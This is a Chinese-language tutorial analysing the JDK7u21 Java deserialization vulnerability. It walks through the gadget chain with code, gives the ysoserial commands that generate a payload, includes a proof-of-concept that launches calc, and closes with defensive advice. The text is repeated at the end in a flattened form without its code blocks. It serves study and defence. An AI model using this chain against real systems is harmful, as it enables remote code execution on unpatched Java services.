JDK7u21反序列化链利用分析
字数 1614 2025-08-22 12:23:36

JDK7u21反序列化漏洞分析与利用

0x00 漏洞概述

JDK7u21反序列化漏洞是Java反序列化漏洞中的一个经典案例,影响JRE版本<=7u21。该漏洞利用Java反序列化机制中的一系列特性,通过精心构造的恶意对象链实现远程代码执行(RCE)。

0x01 前置知识

Java三大核心概念

  1. JVM(Java虚拟机)

    • 类加载器:加载.class文件到内存
    • 字节码验证工具:检查代码违规
    • 执行引擎:字节码转机器码
    • JIT:即时编译提高性能
    • 作用:实现Java跨平台性
  2. JRE(Java运行环境)

    • JRE = JVM + 核心类库 + 工具(keytool等)
  3. JDK(Java开发工具包)

    • JDK = JRE + 开发工具(javac等) + 基础类库

JDK版本命名规则

  • JDK 1.0 - 1.1.8 (1996-1999)
  • J2SE 1.2 - 1.4 (1998-2003)
  • Java SE 5.0 (1.5.0)开始新命名方式
  • Java SE 6.0 (1.6.0)
  • Java SE 7.0 (1.7.0) - 漏洞影响版本
  • Java SE 8.0+ (1.8.0+)

0x02 环境搭建

工具准备

  • IDE: IntelliJ IDEA/Eclipse
  • 漏洞利用工具: ysoserial
    git clone https://github.com/frohoff/ysoserial
    cd ysoserial
    mvn clean package -DskipTests
    

JDK安装

  • 漏洞版本: JDK7u21及以下
  • Mac安装:
    brew cask install homebrew/cask-versions/zulu7
    

0x03 漏洞分析

漏洞利用链

完整调用链:

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode()
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.hashCodeImpl()
            String.hashCode()
            AnnotationInvocationHandler.memberValueHashCode()
              TemplatesImpl.hashCode()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          MaliciousClass.<clinit>()
                            Runtime.exec()

第一层: TemplatesImpl利用

核心代码:

TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("command");
calc.getOutputProperties(); // 触发点

触发流程:

  1. getOutputProperties()调用newTransformer()
  2. newTransformer()调用getTransletInstance()
  3. getTransletInstance()调用defineTransletClasses()
  4. defineTransletClasses()通过ClassLoader.defineClass()加载恶意类
  5. Class.newInstance()触发静态代码块执行命令

关键点:

  • 使用javassist动态生成恶意类
  • 恶意类必须继承AbstractTranslet
  • 通过_bytecodes属性注入恶意字节码

第二层: AnnotationInvocationHandler代理

核心代码:

HashMap map = new HashMap();
map.put("f5a5a608", "foo"); // 特殊hash值

InvocationHandler handler = new AnnotationInvocationHandler(
    Override.class, map);
Reflections.setFieldValue(handler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(handler, Templates.class);

利用动态代理机制:

  • 创建AnnotationInvocationHandler代理
  • 设置typeTemplates.class
  • 代理对象的equals()方法会调用equalsImpl()
  • equalsImpl()通过反射调用Templates接口方法

第三层: LinkedHashSet触发

核心代码:

LinkedHashSet set = new LinkedHashSet();
set.add(templates); // 第一个元素
set.add(proxy);     // 第二个元素

反序列化触发流程:

  1. LinkedHashSet.readObject()读取元素
  2. 添加第一个元素(templates)计算hash
  3. 添加第二个元素(proxy)时:
    • 计算proxy的hash触发hashCodeImpl()
    • hashCodeImpl()返回与templates相同的hash
    • 触发equals()比较
    • equals()调用newTransformer()触发RCE

0x04 漏洞利用

生成Payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "command" > payload.ser

完整POC示例

public class JDK7u21Exploit {
    public static void main(String[] args) {
        try {
            Object payload = new Jdk7u21().getObject("calc");
            
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(payload);
            oos.close();
            
            byte[] bytes = baos.toByteArray();
            
            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject(); // 触发反序列化
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x05 漏洞特点

  1. Payload小:仅3489字节,适合各种环境
  2. 无第三方依赖:仅使用JDK原生类
  3. 利用条件
    • 目标使用JDK7u21及以下
    • 存在反序列化入口点

0x06 防御措施

  1. 升级JDK到7u25及以上版本
  2. 使用白名单验证反序列化对象
  3. 使用ObjectInputFilter限制反序列化类
  4. 替换默认的序列化机制(如使用JSON)

0x07 参考链接

  1. Java SE 7u21 Security Advisory
  2. ysoserial JDK7u21
  3. Java反序列化漏洞详解
JDK7u21反序列化漏洞分析与利用 0x00 漏洞概述 JDK7u21反序列化漏洞是Java反序列化漏洞中的一个经典案例,影响JRE版本 <=7u21。该漏洞利用Java反序列化机制中的一系列特性,通过精心构造的恶意对象链实现远程代码执行(RCE)。 0x01 前置知识 Java三大核心概念 JVM(Java虚拟机) 类加载器:加载.class文件到内存 字节码验证工具:检查代码违规 执行引擎:字节码转机器码 JIT:即时编译提高性能 作用:实现Java跨平台性 JRE(Java运行环境) JRE = JVM + 核心类库 + 工具(keytool等) JDK(Java开发工具包) JDK = JRE + 开发工具(javac等) + 基础类库 JDK版本命名规则 JDK 1.0 - 1.1.8 (1996-1999) J2SE 1.2 - 1.4 (1998-2003) Java SE 5.0 (1.5.0)开始新命名方式 Java SE 6.0 (1.6.0) Java SE 7.0 (1.7.0) - 漏洞影响版本 Java SE 8.0+ (1.8.0+) 0x02 环境搭建 工具准备 IDE: IntelliJ IDEA/Eclipse 漏洞利用工具: ysoserial JDK安装 漏洞版本: JDK7u21及以下 Mac安装: 0x03 漏洞分析 漏洞利用链 完整调用链: 第一层: TemplatesImpl利用 核心代码: 触发流程: getOutputProperties() 调用 newTransformer() newTransformer() 调用 getTransletInstance() getTransletInstance() 调用 defineTransletClasses() defineTransletClasses() 通过 ClassLoader.defineClass() 加载恶意类 Class.newInstance() 触发静态代码块执行命令 关键点: 使用javassist动态生成恶意类 恶意类必须继承 AbstractTranslet 通过 _bytecodes 属性注入恶意字节码 第二层: AnnotationInvocationHandler代理 核心代码: 利用动态代理机制: 创建 AnnotationInvocationHandler 代理 设置 type 为 Templates.class 代理对象的 equals() 方法会调用 equalsImpl() equalsImpl() 通过反射调用 Templates 接口方法 第三层: LinkedHashSet触发 核心代码: 反序列化触发流程: LinkedHashSet.readObject() 读取元素 添加第一个元素(templates)计算hash 添加第二个元素(proxy)时: 计算proxy的hash触发 hashCodeImpl() hashCodeImpl() 返回与templates相同的hash 触发 equals() 比较 equals() 调用 newTransformer() 触发RCE 0x04 漏洞利用 生成Payload 完整POC示例 0x05 漏洞特点 Payload小 :仅3489字节,适合各种环境 无第三方依赖 :仅使用JDK原生类 利用条件 : 目标使用JDK7u21及以下 存在反序列化入口点 0x06 防御措施 升级JDK到7u25及以上版本 使用白名单验证反序列化对象 使用 ObjectInputFilter 限制反序列化类 替换默认的序列化机制(如使用JSON) 0x07 参考链接 Java SE 7u21 Security Advisory ysoserial JDK7u21 Java反序列化漏洞详解